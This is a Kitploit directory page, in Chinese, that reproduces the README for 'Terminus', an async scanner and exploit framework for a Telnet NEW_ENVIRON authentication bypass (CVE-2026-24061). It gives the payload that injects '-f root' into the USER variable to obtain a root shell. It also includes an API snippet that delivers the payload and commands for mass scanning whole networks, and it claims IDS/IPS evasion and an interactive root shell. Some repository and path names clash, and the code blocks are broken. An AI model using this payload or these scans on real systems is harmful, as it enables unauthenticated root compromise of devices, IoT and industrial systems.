Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Terrminus-CVE-2026-2406 — AsyncIO 扫描器与利用框架,针对 CVE-2026-24061(Telnet NEW_ENVIRON 认证绕过)。具备高并发发现、被动指纹识别以及授权 root shell 提权功能。 | Kitploit
工具/GitHubGitHub/ridpath/terrminus-cve-2026-2406
权限提升侦察漏洞扫描器物联网安全漏洞利用SCADA/ICS安全信息收集Web安全网络安全渗透测试红队
2398个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
ridpath/terrminus-cve-2026-2406

Terrminus-CVE-2026-2406

AsyncIO 扫描器与利用框架,针对 CVE-2026-24061(Telnet NEW_ENVIRON 认证绕过)。具备高并发发现、被动指纹识别以及授权 root shell 提权功能。

查看仓库

Terminus - CVE-2026-24061 扫描器与利用框架

针对 CVE-2026-24061 Telnet NEW_ENVIRON 认证绕过和权限提升漏洞的安全分析引擎。

Terminus


概述

Terminus 是一款专业安全研究工具,专为 CVE-2026-24061 的授权渗透测试和漏洞评估而设计。该严重漏洞影响遗留 Telnet 守护进程实现,允许未认证的远程攻击者绕过认证并获得 root 级访问权限。

什么是 CVE-2026-24061?

CVE-2026-24061 是支持 RFC 1572(Telnet 环境选项)的 Telnet 服务中的远程代码执行漏洞。该漏洞利用 NEW_ENVIRON 子协商期间对 USER 环境变量消毒不当的问题:

  • 正常认证: USER=john → 提示输入密码
  • 利用载荷: USER=-f root → 绕过认证,授予 root shell

影响:

  • 完全认证绕过(无需密码)
  • 立即提升至 root 权限
  • 完全系统沦陷

受影响服务:

  • 遗留 Telnet GNU Inetutils telnetd(特别是 2.7 及更早版本)
  • 具有易受攻击 Telnet 实现的 IoT 固件
  • 使用过时 Telnet 服务的工业控制系统

主要功能

大规模漏洞扫描器

  • 高并发扫描: 使用 AsyncIO 并发扫描 1,000+ 目标
  • CIDR 支持: 扫描整个网络范围(192.168.0.0/24、10.0.0.0/8)
  • 双重检测模式:
    • 被动(默认):快速、安全、基于签名的检测
    • 主动验证(--verify):利用验证,确认 uid=0 root 访问
  • 横幅分析: 识别守护进程类型和版本
  • 风险评分: 多层置信度评估(CRITICAL、HIGH、MEDIUM、LOW)

RFC 合规协议引擎

  • TerminusNegotiator 类: 用于 Telnet 协议操作的简洁 API
    • Terminus.handshake() - RFC 854 合规握手
    • Terminus.exploit() - CVE-2026-24061 载荷投递
  • 正确的选项协商: 通过协议合规避免 IDS/IPS 检测
  • 状态机: 稳健处理 IAC 序列(DO/DONT/WILL/WONT/SB/SE)

授权门控利用

  • 交互式 Shell: 具有 root 访问权限的完整利用后 shell
  • 命令执行: 执行单个命令并捕获输出
  • 证据收集: 收集 uid、环境变量、系统信息
  • 安全机制:
    • 需要显式 --exploit 标志
    • 在批量扫描模式下禁用
    • 所有利用尝试的审计日志

多格式报告

  • 终端: 带颜色编码风险级别的富格式表格
  • JSON: SIEM/SOAR 集成
  • CSV: 电子表格跟踪
  • HTML: 带统计信息的详细报告
  • Markdown: 适合文档化的输出

架构

核心引擎:TerminusNegotiator

Terminus 的核心是 TerminusNegotiator 类,它在协议处理和利用逻辑之间提供了清晰的分离:```python from terminus import TerminusNegotiator

Initialize engine

negotiator = TerminusNegotiator()

Step 1: RFC 854 compliant handshake

await negotiator.handshake(target="192.168.1.100", port=23)

Step 2: Deliver CVE-2026-24061 payload

result = await negotiator.exploit(payload="-f root")

if result.success: print(f"Root shell acquired: {result.evidence['uid']}")

### 引擎 vs. 脚本方法

**传统脚本**(现有工具):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell

Terminus 引擎:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report

---

## 安装

### 环境要求
- **Python 3.10+**
- **支持的平台:**
  - Windows 10/11(PowerShell)
  - Windows + WSL2(Kali Linux、Parrot OS、Ubuntu)
  - 原生 Linux(Kali、Parrot、Ubuntu、Debian)
  - macOS(需 Python 3.10+)

### 快速开始(所有平台)

#### Windows(PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git

# Run setup script
.\setup_env.ps1

# Activate virtual environment
.venv\Scripts\Activate.ps1

# Verify installation
terminus --version

Linux / WSL2 / macOS(Bash)```bash

Clone repository

git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406

Run setup script

chmod +x setup_env.sh ./setup_env.sh

Activate virtual environment

source venv/bin/activate

Verify installation

terminus --version

#### 手动安装(所有平台)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406

# Create virtual environment
python3 -m venv venv

# Activate (Linux/macOS/WSL)
source venv/bin/activate

# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1

# Install dependencies
pip install -e .

# Verify
terminus --version

依赖(跨平台)

  • telnetlib3 - AsyncIO Telnet 协议实现
  • rich - 终端界面与格式化(支持 Windows/Linux 上的 ANSI)
  • pydantic - 数据验证与模型
  • aiofiles - 异步文件 I/O
  • jinja2 - 报告模板生成
  • pyyaml - 配置管理
  • pathlib - 跨平台路径处理(内置)

注意: 所有依赖均为纯 Python 或提供跨平台 wheel 包,无需平台特定的编译。


Shell 补全(可选)

启用 Tab 补全以加快命令输入:

Bash```bash

_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc

### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc

Fish```bash

_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish

### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression

测试一下:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.

---

## 使用方法

### 扫描模式

#### 单目标扫描```bash
terminus scan -t 192.168.1.100

CIDR 范围扫描```bash

terminus scan -t 192.168.1.0/24

#### 基于文件的批量扫描```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500

高并发网络扫描```bash

terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200

### 检测模式

#### 被动检测(默认 - 安全)```bash
terminus scan -t target.com --passive-only

激进检测(全部启发式)```bash

terminus scan -t target.com --aggressive

#### 主动验证模式(漏洞利用证明)```bash
terminus scan -t 192.168.1.100 --verify

使用方法

现场演示

检查版本:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db

**被动扫描(默认 - 保守风险评估):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Parsing 1 targets...
Found 1 valid targets

  Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00

╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061      │
│ Total Targets: 1         │
│ Scanned: 1               │
│ Failed: 0                │
│ Timeouts: 0              │
│                          │
│ Vulnerability Breakdown: │
│   Critical: 0            │
│   High: 0                │
│   Medium: 0              │
│   Low: 1                 │
│   Info: 0                │
│                          │
│ Duration: 3.53s          │
│ Avg Scan Time: 3522.22ms │
│                          │
╰──────────────────────────╯
下载工具